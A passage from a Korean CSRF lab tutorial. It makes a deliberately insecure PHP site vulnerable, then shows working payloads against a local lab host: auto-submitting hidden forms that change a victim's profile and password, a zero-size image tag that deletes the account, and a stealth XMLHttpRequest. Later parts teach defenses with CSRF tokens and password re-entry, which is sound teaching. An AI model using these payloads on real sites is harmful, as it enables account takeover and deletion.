2. 공격자는 사용자가 자주 방문하는 네이버 카페에 피해자가 클릭할만한 게시글을 업로드 하면서 특정 링크에 악성 스크립트와 연결되는 서버를 저장한다.

3. 피해자는 네이버 카페에서 게시글을 읽던 중, 스마트폰 할인, 전자기기 할인 등 피해자가 클릭할만한 게시글을 확인하게 된다. 피해자는 해당 게시글에서 할인 정보로 가장한 악성 스크립트가 담긴 URL 링크를 클릭하게 된다.

4. 악성 스크립트에 의해 피해자의 페이스북에서 무단으로 게시글이 작성된다.

실습6-1 CSRF 공격을 통한 회원 정보 무단 수정, 패스워드 변경, 회원 탈퇴 실습

회원 정보를 무단으로 수정하기 위해서는 코드 수정이 필요하다.

파일 위치: C:\APM_Setup\htdocs\insecure_website

먼저 withdrawal.php 파일을 복사하여 백업본을 저장한다.

기존 withdrawal.php 파일을 CSRF 공격이 가능하도록 수정한다.

< withdrawal.php >

<?
    @session_start();
    include_once("./common.php");

    $db_conn = mysql_conn();

    $query = "delete from members where id='{$_SESSION["id"]}'";
	$result = $db_conn->query($query);

    unset($_SESSION["id"]);
    session_destroy();

    echo "<script>location.href='index.php'</script>";
?>

mypage.php 에서 withdrawal.php 에서 파라미터를 받는 부분도 제거를 해준다.

id=<?=$_SESSION["id"]?> 제거

< mypage.php 의 withdrawal.php 부분 >

		<div class="text-center">
			<input type="submit" class="btn btn-info" value="수정하기">
			<button type="button" class="btn btn-danger" onclick="if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?'">회원탈퇴하기</button>
		</div>

기존에 id를 파라미터로 받았었는데, 세션값을 통해서 받게끔 코드를 수정한다.

<?
	include_once("./common.php");

	$db_conn = mysql_conn();
	#$id = $db_conn->real_escape_string($_GET["id"]);
	$id = $_SESSION["id"];
	$gubun = $_POST["gubun"];

VMWare 에서 해커 계정으로 로그인한다.

회원 정보 수정을 위해서는 회원 정보 수정 시 요청값에 대해 분석해야 한다.

해커 계정의 MyPage 에서 회원 정보 수정을 해본다.

버프스위트에서 Intecept On 후 회원정보 수정하기 버튼을 클릭한다.

gubun, name, password, email, company 등의 파라미터를 확인할 수 있다.

password는 변경하지 않는 이상 비워져 있어도 된다.

공격 페이로드

<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/index.php?page=mypage" method="POST">
<input type="hidden" name="gubun" value="action">
<input type="hidden" name="name" value="희생자">
<input type="hidden" name="email" value="victim@naver.com">
<input type="hidden" name="company" value="(주)희생자">
<input type="submit">
</form>
</body>

해커는 위 CSRF 페이로드를 입력하는 게시글을 작성한다.

만약 사용자가 위 게시글을 읽게된다면, 본인의 회원정보가 희생자로 자동으로 변경되는 것이다.

회원정보를 수정할 test 계정을 생성한다.

계정 생성 후 회원정보 수정 게시글을 클릭한다.

게시글을 클릭하자마자 회원정보 수정완료라는 메시지가 발생한다.

MyPage로 들어가니 희생자로 회원정보가 변경된 것을 확인할 수 있다.

최근 웹 사이트는 회원정보를 수정하기 위해 사전에 비밀번호를 입력해야하므로, 이런 방식의 CSRF 공격을 요즘 통하지 않는다. 하지만 이전에는 이런 방식으로 회원정보를 수정하였으며, 예전에 만든 웹 사이트에서는 충분히 CSRF 공격이 가능하다.

이번에는 비밀번호 변경을 무단으로 하는 실습을 진행한다.

VMWare 에서 해커 계정으로 접속 후 패스워드 변경 게시글을 작성한다.

공격 페이로드

<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/index.php?page=mypage" method="POST">
<input type="hidden" name="gubun" value="action">
<input type="hidden" name="name" value="희생자">
<input type="hidden" name="password" value="victim">
<input type="hidden" name="email" value="victim@naver.com">
<input type="hidden" name="company" value="(주)희생자">
<input type="submit">
</form>
</body>

위 공격 페이로드를 Contents 에 넣는다.

패스워드 변경 게시글

로컬 PC의 test 계정(희생자로 변경됨)에서 해당 게시글을 클릭한다.

게시글을 클릭하자마자 회원정보 수정완료 메시지가 확인된다.

로그아웃 후 test 계정으로 접속을 시도한다.

기존의 비밀번호는 test 였지만 입력하니 로그인이 되지 않는다.

변경된 비밀번호 victim 으로 입력하니 로그인이 되는 것을 확인할 수 있다.

여기서 중요한 것은 위 게시글들은 특정 사용자만이 회원정보가 변경되는 것이 아닌, 게시글을 읽은 모든 사용자의 회원정보가 변경되므로 누가 게시글을 읽었는지 알 수가 없다. 이런 경우에는 많이 사용하는 ID들을 사전으로 모아둔 자료를 이용해서 victim 비밀번호로 로그인이 되는 계정을 무작위로 찾는 방법이 있다.

게시글을 읽게되면 회원탈퇴를 하는 CSRF 공격을 시도해본다.

회원탈퇴를 하면 어떤 요청값을 보내는지 확인하기 위해 버프스위트를 사용한다.

test 계정(희생자)으로 회원 탈퇴를 시도해본다.

회원탈퇴를 진행하면 withdrawal.php 라는 페이지로 요청하는 것을 확인할 수 있다.

http://192.168.56.1/insecure_website/withdrawal.php

위 URL 을 사용하면 굳이 form 태그도 필요하지 않으며, XSS 취약점이 발생할 필요없이 URL 만 요청하면 된다.

회원탈퇴 실습을 하기위해 test 계정으로 재가입한다.

MySQL 에서 현재 가입된 계정 목록을 확인해본다.

총 4개의 계정이 확인된다.

VMWare 에서 해커 계정으로 회원 탈퇴를 유도하는 게시글을 작성한다.

<img> 태그를 사용한다.

<img> 태그는 표시할 이미지를 지정할 때 src 속성에 이미지의 URL을 입력하는 방식을 사용하는데, 여기서 src 속성에 회원 탈퇴 하는 URL을 입력한다.

공격 페이로드

<img src="http://192.168.56.1/insecure_website/withdrawal.php" width="0" height="0">

게시글을 확인하는 사용자가 눈치채지 못하도록 width 와 height 를 0으로 설정한다.

로컬 PC에서 test 계정으로 로그인 후 회원탈퇴 요청 게시글을 클릭한다.

게시글을 클릭하니 아무 내용도 확인되지 않는다.

MyPage 를 클릭하니 존재하지 않는 사용자라는 메시지가 확인된다.

다시 Home 으로 돌아가니 로그아웃 되어 있는 것을 확인할 수 있다.

test 계정으로 로그인을 시도하니 아래와 같은 경고창이 확인된다.

MySQL 에서 회원 목록을 확인해본다.

select * from members;

기존의 4개 계정이 확인되었는데, 현재는 test 계정을 제외한 3개 계정이 확인되는 것을 알 수 있다.

버프스위트의 HTTP history 에서 요청 기록을 확인해본다.

idx=53 게시글을 확인하니 회원탈퇴 페이지로 GET 요청이 이루어진 것을 확인할 수 있다.

<img> 태그를 이용해서 src 속성값에 회원탈퇴 URL을 넣었기때문에 웹 브라우저는 이미지에 대한 URL인줄 알고 요청하게 된 것이다. 해당 요청을 통해 회원탈퇴가 발생하게 된 것이다.

메소드에 따라 사용하는 태그가 달라진다.

GET 방식 Action → <img> 태그 사용

POST 방식 Action → <body>, <form> 태그 중복으로 사용

실습6-3 Ajax를 활용한 Stealth CSRF 공격

Ajax를 활용하여 회원 정보 수정 및 패스워드 변경을 동시에 진행하는 CSRF 공격을 실습해본다.

Ajax 사용 방법

- XML HTTP Request 객체 사용

- jQuery 사용

일반적인 XML HTTP Request 객체를 사용해본다.

true: 비동기화

false: 동기화

< CSRF 페이로드 샘플 >

<script>
var xhp = new XMLHttpRequest();
xhp.open("POST", "http://192.168.56.1/insecure_website/index.php?page=mypage", true);
xhp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhp.send("gubun=action&name=희생자&password=victim&email=victim&company=(주)희생자");
</script>

<실제 CSRF 삽입 페이로드, 개행이 적용되지 않음 >

<script>var xhp = new XMLHttpRequest();xhp.open("POST", "http://192.168.56.1/insecure_website/index.php?page=mypage", true);xhp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xhp.send("gubun=action&name=희생자&password=victim&email=victim&company=(주)희생자");</script>

VMWare 의 해커 계정에서 위 악성 스크립트를 삽입하여 게시글을 작성한다.

게시글 작성 후 로컬 PC의 test1 계정으로 로그인한다.

test1 계정의 정보는 다음과 같다.

54번 게시글을 클릭한다.

클릭 시 별다른 행위는 확인되지 않는다.

MyPage 를 들어가면 회원정보가 수정된 것을 확인할 수 있다.

버프스위트의 HTTP history 를 확인해본다.

idx=54 게시글을 클릭하여 회원정보 수정이 이루어진 것을 알 수 있다.

idx=54 게시글 클릭

GET 요청에 대한 Response

idx=54 게시글을 통한 회원정보 수정 요청

test1 계정(희생자로 변경됨) 로그아웃 후 다시 로그인을 시도해본다.

이전 비밀번호 test 를 입력하지만 로그인이 되지 않는다.

변경된 비밀번호 victim 입력 시 로그인이 되는 것을 확인할 수 있다.

URL 호출을 통해 회원탈퇴가 이루어지거나 또는 GET 방식을 사용하여 회원탈퇴가 이루어지는 경우 사용자가 인지하지 못한 상태로 회원탈퇴가 가능할 수가 있기 때문에 상당히 위협적이다.

단순히 세션 검증만 해서는 CSRF 공격을 방어하기 어려우므로 각각 기능에 대해 다양한 검증 방법을 추가하여 CSRF 공격을 방어해야 한다.

4) 대응방안

1. Referer 값 검증

2. CSRF TOKEN 사용

3. 인증 로직 사용 / CAPCHA 사용

4. SameSite Cookie

1. Referer 헤더를 검증

→ 게시글을 읽었는데 회원 정보 수정 요청을 한다. - 잘못된 요청

→ A사이트에서 B사이트로 회원 정보 수정, 게시글 작성 등의 요청을 한다. - 잘못된 요청

→ 해당 요청 관련 form 에서 action 으로 이동이 아닌 경우는 잘못된 요청으로 볼 수 있다.

2. CSRF TOKEN 사용

→ 난수화된 임의의 값을 세션과 form 페이지의 input 태그에 넣는다. - 세션과 form 에 각각 CSRF TOKEN 삽입

→ 요청을 받는 action 페이지에서 세션과 form 페이지의 CSRF TOKEN이 동일한지 비교한다.

→ 공격자는 CSRF TOKEN 값 예상이 어렵다

3. 인증 로직 사용 / CAPCHA 사용

→ 게시글 수정/삭제 시 패스워드 입력, 회원 정보 수정 시 패스워드 입력

4. SameSite cookie

→ 쿠키가 없는 경우 도메인이 다른 사이트간 교차 요청 불가

CSRF Token 동작 상세 원리

폼 페이지(Form Page)

→ 게시글 작성/수정/삭제 및 회원정보 수정/삭제/탈퇴 등에 사용됨

→ 값 입력

액션 페이지(Action Page)

→ 폼 페이지에서 입력한 값들을 전달받고 동작을 실행

폼 페이지에서 CSRF Token 을 발급

→ 세션에 Token 삽입

→ 파라미터(hidden)에 Token 삽입

액션 페이지에서 CSRF Token 유효성 검증

→ 세션 Token 받아옴

→ 파라미터 Token 받아옴

→ 세션과 파라미터의 Token 이 일치해야한다.

공격자는 파라미터의 Token을 어렵게 유추한다해도, 특정 사용자가 폼 페이지에 접근하지 않았다면 세션 내 Token 이 발급되지 않기 때문에, 액션 페이지에서 세션 Token 이 존재하지 않는다.

세션 Token 이 존재하지 않으며 파라미터 Token 과 일치하지 않으므로 CSRF 공격이 어렵다.

실습6-4 취약 환경 시큐어 코딩 적용 실습-1

실습 1) 게시글 작성 / 수정 / 삭제 기능에 대한 시큐어 코딩

CSRF Token 적용을 위해서 폼 페이지와 액션 페이지를 분류한다.

파일 위치: C:\APM_Setup\htdocs\insecure_website

* 공통 페이지(CSRF Token 발급 함수 생성 후 일괄 적용)

- common.php

- index.php

* Form Page

- write.php (작성)

- modify.php (수정)

- view.php (삭제)

* Action Page

- action.php

< common.php 마지막 부분에 csrf token 함수 생성 >

	function csrf_token_create() {
		$time = time();
		$id = $_SESSION["id"];
		$csrf_token = sha1($id.$time);
		
		return $csrf_token;
	}

작성/수정/삭제 등의 코드들이 index.php 에서 호출되고 있으므로 index.php 에서 일괄적용이 가능하다.

(웹 환경마다 다름)

< index.php 에서 csrf token 함수 적용 >

<?
  @session_start();
  include_once("./common.php");
  $page = $_GET["page"];

  if(empty($page)) {
    $page = "list.php";
  } else if ($page == "mypage") {
    $page = "mypage.php";
  } else if ($page == "login") {
    $page = "login.php";
  } else if ($page == "join") {
    $page = "join.php";
  } else if ($page == "pingcheck") {
    $page = "pingcheck.php";
  } else if ($page == "xmlparser") {
    $page = "xmlparser.php";
  } else if ($page == "write") {
    $csrf_token = csrf_token_create();
    $page = "write.php";
  } else if ($page == "view") {
    $page = "view.php";
  } else if ($page == "modify") {
    $page = "modify.php";
  } else if ($page == "auth") {
    $page = "auth.php";
  } else if ($page == "error") {
    $page = "error.php";
  } else {
    echo "<script>location.href='index.php?page=error&value={$page}';</script>";
  }

?>

write.php 의 hidden 값에 csrf token 을 넣는다.

    <div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
      <h1 class="display-4">Write Page</h1>
      <hr>
    </div>
    
    <div class="container">
		<form action="action.php" method="POST" enctype="multipart/form-data">
		  <div class="form-group">
			<label>Title</label>
			<input type="text" class="form-control" name="title" placeholder="Title Input">
		  </div>
		  <div class="form-group">
			<label for="exampleInputPassword1">Password</label>
			<input type="password" class="form-control" name="password" placeholder="Password Input">
		  </div>
		  <div class="form-group">
			<label for="exampleInputPassword1">Contents</label>
			<textarea class="form-control" name="content" rows="5" placeholder="Contents Input"></textarea>
      </div>
      <div class="form-group">
        <label for="exampleInputPassword1">File</label>
        <input type="file" class="form-control" name="userfile">
		  </div>
      <div class="custom-control custom-checkbox">
        <input type="checkbox" class="custom-control-input" id="customCheck1" name="secret">
        <label class="custom-control-label" for="customCheck1">Secret Post</label>
      </div>
		<div class="text-right">
			<input type="hidden" name="csrf_token" value="<?=$csrf_token?>">
			<input type="hidden" name="mode" value="write">
			<button type="submit" class="btn btn-outline-secondary">Write</button>
			<button type="button" class="btn btn-outline-danger" onclick="history.back(-1);">Back</button>
		</div>
		</form>
    </div>

write.php 에 접근하게되는 경우 csrf token 함수를 호출하게 되고 hidden 에 csrf token 이 대입된다.

로컬 PC의 관리자 계정으로 로그인한다.

게시글 작성 시 write.php 로 접근하게 되는데, 개발자 도구에서 csrf_token 을 검색하면 아래와 같이 확인된다.

현재 상태는 폼 페이지에서 파라미터에 Token 을 넣어준 상태이다.

세션에도 Token 을 넣어줘야 한다.

로그인한 사용자일 경우에 세션에 CSRF 토큰을 발급하는 로직을 추가한다.

< common.php 에 세션에 CSRF 토큰 발급 로직 추가 >

	function csrf_token_create() {

		if(!empty($_SESSION["id"])) {
			$time = time();
			$id = $_SESSION["id"];
			$csrf_token = sha1($id.$time);
			$_SESSION["csrf_token"] = $csrf_token;
		} else {
			$csrf_token = "";
		}

		return $csrf_token;
	}

이제 토큰을 검증하는 액션 페이지에 적용을 해줘야 한다.

action.php 에 게시글 작성, 수정, 삭제에 공통적으로 적용을 해준다.

< action.php 최상단 부분 - write, modify, delete 에 각각 적용하기 보다는 최상단에서 일괄 적용 >

	@session_start();
	header("Content-Type: text/html; charset=UTF-8");
	include ( './common.php' );

	# CSRF Token 검증 로직
	$csrf_token_session = $_SESSION["csrf_token"];
	$csrf_token_param = $_REQUEST["csrf_token"];

	if(empty($csrf_token_session) && empty($csrf_token_param)) {
		echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
			exit();
		}
	}

세션과 파라미터에 csrf token 을 발급하고, 세션과 파라미터의 csrf 토큰이 비어있다면 비정상적인 접근으로 판단한다.

세션과 파라미터의 csrf 토큰이 동일하지 않다면 비정상적인 접근으로 판단한다.

VMWare 에서 해커 계정으로 접속 후 무단으로 글을 작성하는 CSRF 공격 페이로드를 담은 게시글을 작성한다.

공격 페이로드

<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 작성한 게시글">
<input type="hidden" name="password" value="test">
<input type="hidden" name="content" value="해커가 작성함">
<input type="hidden" name="mode" value="write">
<input type="submit">
</form>
</body>

관리자 계정에서 해당 게시글을 클릭한다.

액션 페이지로 리다이렉션 되지만 정상적인 접근이 아니라는 메시지가 발생한다.

(리다이렉션되는 것은 막기 위해서는 XSS 공격을 방어하면 된다.)

에러 메시지가 발생하면서 게시글도 작성되지 않았다.

게시글 수정(modify.php)도 동일하게 hidden 값에 csrf token 을 넣는다.

<?
	include_once("./common.php");

	$db_conn = mysql_conn();
	$idx = $_GET["idx"];

	if(!is_numeric($idx)) {
		echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
		exit();
	}

	$query = "select * from {$tb_name} where idx={$idx}";
  
	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>
    <div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
      <h1 class="display-4">Modify Page</h1>
      <hr>
    </div>
	<?
	if($num != 0) {
	  $row = $result->fetch_assoc();
	?>
    <div class="container">
		<form action="action.php" method="POST" enctype="multipart/form-data">
		  <div class="form-group">
			<label>Title</label>
			<input type="text" class="form-control" name="title" placeholder="Title Input" value="<?=$row["title"]?>">
		  </div>
		  <div class="form-group">
			<label for="exampleInputPassword1">Password</label>
			<input type="password" class="form-control" name="password" placeholder="Password Input">
		  </div>
		  <div class="form-group">
			<label for="exampleInputPassword1">Contents</label>
			<textarea class="form-control" name="content" rows="5" placeholder="Contents Input"><?=$row["content"]?></textarea>
      </div>
		  <div class="form-group">
			<label for="exampleInputPassword1">File</label>
      <? if(!empty($row["file"])) { ?>
      <p class="font-italic">[Attach]&nbsp;<?=$row["file"]?></p>
      <? } ?>
      <input type="hidden" class="form-control" name="oldfile" value="<?=$row["file"]?>">
			<input type="file" class="form-control" name="userfile">
		  </div>
      <div class="custom-control custom-checkbox">
        <input type="checkbox" class="custom-control-input" id="customCheck1" name="secret" <? if($row["secret"]=="y") echo "checked"; ?>>
        <label class="custom-control-label" for="customCheck1">Secret Post</label>
      </div>
		<div class="text-right">
			<input type="hidden" name="idx" value="<?=$row["idx"]?>">
			<input type="hidden" name="csrf_token" value="<?=$csrf_token?>">
			<input type="hidden" name="mode" value="modify">
			<button type="submit" class="btn btn-outline-secondary">Modify</button>
			<button type="button" class="btn btn-outline-danger" onclick="history.back(-1);">Back</button>
		</div>
		</form>
    </div>
	<?
	} else {
	?>
		<script>alert("존재하지 않는 게시글 입니다.");history.back(-1);</script>
	<?
	}
	?>
<?
	$db_conn->close();
?>

index.php 의 modify.php 부분에도 csrf token 함수를 적용시켜준다.

<?
  @session_start();
  include_once("./common.php");
  $page = $_GET["page"];

  if(empty($page)) {
    $page = "list.php";
  } else if ($page == "mypage") {
    $page = "mypage.php";
  } else if ($page == "login") {
    $page = "login.php";
  } else if ($page == "join") {
    $page = "join.php";
  } else if ($page == "pingcheck") {
    $page = "pingcheck.php";
  } else if ($page == "xmlparser") {
    $page = "xmlparser.php";
  } else if ($page == "write") {
    $csrf_token = csrf_token_create();
    $page = "write.php";
  } else if ($page == "view") {
    $page = "view.php";
  } else if ($page == "modify") {
    $csrf_token = csrf_token_create();
    $page = "modify.php";
  } else if ($page == "auth") {
    $page = "auth.php";
  } else if ($page == "error") {
    $page = "error.php";
  } else {
    echo "<script>location.href='index.php?page=error&value={$page}';</script>";
  }

?>

로컬 PC의 관리자 계정에서 게시글 작성 후 수정 부분을 확인해본다.

위와 같이 CSRF Token 이 hidden 에 존재하는 것을 확인할 수 있다.

게시글 수정도 정상적으로 가능하다.

VMWare 에서 해커 계정으로 접속 후 무단으로 글을 수정하는 CSRF 공격 페이로드를 담은 게시글을 작성한다.

공격 페이로드

<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 수정한 게시글">
<input type="hidden" name="idx" value="57">
<input type="hidden" name="content" value="해커가 수정함">
<input type="hidden" name="password" value="test">
<input type="hidden" name="mode" value="modify">
<input type="submit">
</form>
</body>

로컬 PC의 관리자 계정에서 해당 게시글을 클릭한다.

아래와 같이 비정상적인 접근으로 인식하여 에러 메시지가 발생한다.

해커가 지정한 57번 게시글 또한 수정되지 않았음을 확인할 수 있다.

게시글 삭제 부분에 대한 CSRF 공격 방어도 적용해본다.

index.php 의 view 페이지에 csrf token 함수를 추가해준다. (추가해주지 않는 경우 게시글 삭제가 불가능함)

<?
  @session_start();
  include_once("./common.php");
  $page = $_GET["page"];

  if(empty($page)) {
    $page = "list.php";
  } else if ($page == "mypage") {
    $page = "mypage.php";
  } else if ($page == "login") {
    $page = "login.php";
  } else if ($page == "join") {
    $page = "join.php";
  } else if ($page == "pingcheck") {
    $page = "pingcheck.php";
  } else if ($page == "xmlparser") {
    $page = "xmlparser.php";
  } else if ($page == "write") {
    $csrf_token = csrf_token_create();
    $page = "write.php";
  } else if ($page == "view") {
    $csrf_token = csrf_token_create();
    $page = "view.php";
  } else if ($page == "modify") {
    $csrf_token = csrf_token_create();
    $page = "modify.php";
  } else if ($page == "auth") {
    $page = "auth.php";
  } else if ($page == "error") {
    $page = "error.php";
  } else {
    echo "<script>location.href='index.php?page=error&value={$page}';</script>";
  }

?>

view.php 에서 먼저 삭제 로직을 수정해본다.

이전 view.php -> auth 페이지(패스워드 입력) -> action 페이지(패스워드 검증)

변경 view.php -> action 페이지(패스워드 검증)

< 이전 view.php 의 delete 부분 >

		<div class="text-right">
			<? if($_SESSION["id"] == $row["id"]) { ?>
			<button type="button" class="btn btn-outline-secondary" onclick="location.href='index.php?page=modify&idx=<?=$row["idx"]?>'">Modify</button>
			<button type="button" class="btn btn-outline-danger" onclick="location.href='index.php?page=auth&mode=delete&idx=<?=$row["idx"]?>'">Delete</button>
			<? } ?>
			<button type="button" class="btn btn-outline-warning" onclick="location.href='index.php'">List</button>
		</div>

< 변경된 view.php delete 부분 >

		<div class="text-right">
			<? if($_SESSION["id"] == $row["id"]) { ?>
			<button type="button" class="btn btn-outline-secondary" onclick="location.href='index.php?page=modify&idx=<?=$row["idx"]?>'">Modify</button>
			<button type="button" class="btn btn-outline-danger" onclick="location.href='action.php?mode=delete&idx=<?=$row["idx"]?>&csrf_token=<?=$csrf_token?>'">Delete</button>
			<? } ?>
			<button type="button" class="btn btn-outline-warning" onclick="location.href='index.php'">List</button>
		</div>

action.php 의 delete 부분에도 기존 POST 방식에서 GET 방식으로 변경해준다.

else if($mode == "delete") {
		$idx = $_GET["idx"];
		$password = $db_conn->real_escape_string($_POST["password"]);

		if(!is_numeric($idx)) {
			echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
			exit();
		}

관리자 계정으로 게시글 작성 후 정상적으로 삭제가 되는지 확인해본다.

만약 정상적으로 삭제가 되지 않는다면 코드에 오타가 있거나 index.php 의 view 부분에 csrf token 함수를 적용시키지 않아서 발생할 수도 있다.

delete 를 누르니 정상적으로 삭제되는 것을 확인할 수 있다.

CSRF 무단 삭제 공격을 위해 관리자 계정으로 게시글을 작성한다.

VMWare 에서 해커 계정으로 접속 후, 무단을 게시글을 삭제하는 CSRF 공격 페이로드를 작성 후 게시글에 입력한다.

idx=62 게시글이 삭제되도록 한다.

게시글 무단 삭제 게시글

<script>location.href='http://192.168.56.1/insecure_website/action.php?mode=delete&idx=62'</script>

로컬 PC의 관리자 계정으로 해당 게시글을 클릭해본다.

접근 시 아래와 같이 비정상 접근으로 확인되어 에러 메시지가 발생한다.

실습6-5 취약 환경 시큐어 코딩 적용 실습-2

실습 2) 회원 정보 수정 / 패스워드 수정 / 탈퇴 기능에 대한 시큐어 코딩 적용

회원 정보 수정 및 패스워드 수정 기능에 대해서는 CSRF Token 적용이 필요하지는 않다.

대부분 웹 사이트에서는 회원 정보 수정을 위해서는 기존 패스워드 입력을 받고 있기 때문이다.

기존 패스워드를 입력 받는 이유는 CSRF 공격 및 세션을 탈취당했을 때에 대한 방어를 위해서 입력 받는다. (기존 패스워드가 인증 기능을 함)

무단으로 회원 정보 수정을 하는 CSRF 공격을 하기 위해서는 해당 계정의 패스워드를 알고 있어야 가능하다.

회원 정보 수정 및 패스워드 수정 기능에 대해서는 대부분의 웹 사이트들이 진행하는 로직처럼 기존의 패스워드를 입력받는 형태로 진행한다.

MyPage 부분의 코드를 수정한다.

코드 위치: C:\APM_Setup\htdocs\insecure_website\mypage.php

< mypage.php 내 패스워드 로직 검증 추가 및 변경할 패스워드 항목 추가 >

<?
	include_once("./common.php");

	$db_conn = mysql_conn();
	#$id = $db_conn->real_escape_string($_GET["id"]);
	$id = $_SESSION["id"];
	$gubun = $_POST["gubun"];

	if($gubun == "action") {
		$name = xss_html_entity($db_conn->real_escape_string($_POST["name"]));
		$email = xss_html_entity($db_conn->real_escape_string($_POST["email"]));
		$company = xss_html_entity($db_conn->real_escape_string($_POST["company"]));
		$password = $db_conn->real_escape_string($_POST["password"]);
		$password1 = $db_conn->real_escape_string($_POST["password1"]);
		$password2 = $db_conn->real_escape_string($_POST["password2"]);
		
		# Password Check Logic
		$password = md5($password);
		$query = "select * from members where id='{$id}' and password='{$password}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($password1) && !empty($password2)) {
			if ($password1 != $password2) {
				echo "<script>alert('변경할 패스워드가 일치하지 않습니다.');history.back(-1);</script>";
				exit();
			}
			$password = md5($password1);
			$query = "update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'";
			$result = $db_conn->query($query);
		} else {
			$query = "update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'";
			$result = $db_conn->query($query);
		}
		echo "<script>alert('회원정보 수정완료');</script>";
	}

	$query = "select * from members where id='{$id}'";

	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>
    <div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
      <h1 class="display-4">My Page</h1>
      <hr>
    </div>
	<?
	if($num != 0) {
	  $row = $result->fetch_assoc();
	?>
	<form action="index.php?page=mypage&id=<?=$id?>" method="POST">
	<input type="hidden" name="gubun" value="action">
    <div class="form-group">
		<div class="form-group">
			<label>Name</label>
			<input type="text" class="form-control" name="name" placeholder="Name Input" value="<?=$row["name"]?>">
		</div>
		<div class="form-group">
			<label>Password</label>
			<input type="password" class="form-control" name="password" placeholder="Password Input" value="">
			<small id="emailHelp" class="form-text text-muted">※ 기존 패스워드 입력</small>
		</div>
		<div class="form-group">
			<label>변경할 Password</label>
			<input type="password" class="form-control" name="password1" placeholder="Password Input" value="">
			<small id="emailHelp" class="form-text text-muted">※ 변경할 패스워드 입력</small>
		</div>
		<div class="form-group">
			<label>변경할 Password 확인</label>
			<input type="password" class="form-control" name="password2" placeholder="Password Input" value="">
			<small id="emailHelp" class="form-text text-muted">※ 변경할 패스워드 입력</small>
		</div>
		<div class="form-group">
			<label>E-mail</label>
			<input type="email" id="email" class="form-control" name="email" placeholder="E-mail Input" value="<?=$row["email"]?>">
		</div>
		<div class="form-group">
			<label>Company</label>
			<input type="text" class="form-control" name="company" placeholder="Company Input" value="<?=$row["company"]?>">
		</div>
		<div class="text-center">
			<input type="submit" class="btn btn-info" value="수정하기">
			<button type="button" class="btn btn-danger" onclick="if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?id=<?=$_SESSION["id"]?>'">회원탈퇴하기</button>
		</div>
	</div>
	</form>
	<? } else { ?>
		<script>alert("존재하지 않는 사용자 입니다.");history.back(-1);</script>
	<? } ?>
<?
	$db_conn->close();
?>

위와 같이 시큐어 코딩 적용 후 VMWare 의 해커 계정에서 패스워드를 수정하는 CSRF 공격을 시도한다.

공격 페이로드 작성을 위해 회원 정보 수정 페이지의 파라미터를 확인해야한다.

버프스위트를 활용하여 어떤 파라미터를 사용하는지 확인해본다.

아래 사이트는 시큐어 코딩이 적용되지 않은 insecure website 로, 기존의 회원 정보 수정 페이지의 파라미터를 확인하기 위해 패킷을 캡쳐했다.

gubun, name, password, email, company 으로 확인된다.

공격 페이로드

<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/index.php?page=mypage" method="POST">
<input type="hidden" name="gubun" value="action">
<input type="hidden" name="name" value="희생자">
<input type="hidden" name="password" value="victim">
<input type="hidden" name="email" value="victim@naver.com">
<input type="hidden" name="company" value="victim">
<input type="submit">
</form>
</body>

VMWare 의 해커 계정에서 위 공격 페이로드를 담은 게시글을 작성한다.

로컬 PC의 관리자 계정에서 해당 게시글을 클릭하여 읽는다.

패스워드가 일치하지 않는다는 에러 메세지가 확인되며, 회원정보는 수정되지 않았다.

관리자 계정의 정보도 변경되지 않았다.

회원정보 수정이 정상적으로 되는지 확인해본다.

이름 및 패스워드를 변경해본다.

정상적으로 회원정보가 수정되는 것을 확인할 수 있다.

회원정보 수정 기능은 정상적으로 동작하며, 회원정보를 무단으로 수정하는 CSRF 공격에 대한 시큐어 코딩도 적용이 완료되었다. 기존과 달리 패스워드 및 회원 정보 수정을 위해서는 기존 패스워드를 입력해야 수정이 가능하므로, 공격자는 회원정보를 무단으로 수정하는 CSRF 공격이 어렵게 되었다.

이제 회원 탈퇴 기능에 대한 시큐어 코딩을 적용해본다.

회원 탈퇴 기능은 CSRF Token 을 통해서 유효성 검증을 하는 코드를 추가한다.

< withdrawal.php 에 CSRF Token 추가 >

<?
    @session_start();
    include_once("./common.php");

    $db_conn = mysql_conn();

    $csrf_token_session = $_SESSION["csrf_token"];
    $csrf_token_param = $_GET["csrf_token"];

    if(empty($csrf_token_session) && empty($csrf_token_param)) {
		echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
			exit();
		}
	}

    $query = "delete from members where id='{$_SESSION["id"]}'";
	$result = $db_conn->query($query);

    unset($_SESSION["id"]);
    session_destroy();

    echo "<script>location.href='index.php'</script>";
?>

폼 페이지인 index.php 의 mypage 에도 csrf token 함수를 추가해준다.

< index.php 의 mypage 에 csrf token 함수 추가 >

<?
  @session_start();
  include_once("./common.php");
  $page = $_GET["page"];

  if(empty($page)) {
    $page = "list.php";
  } else if ($page == "mypage") {
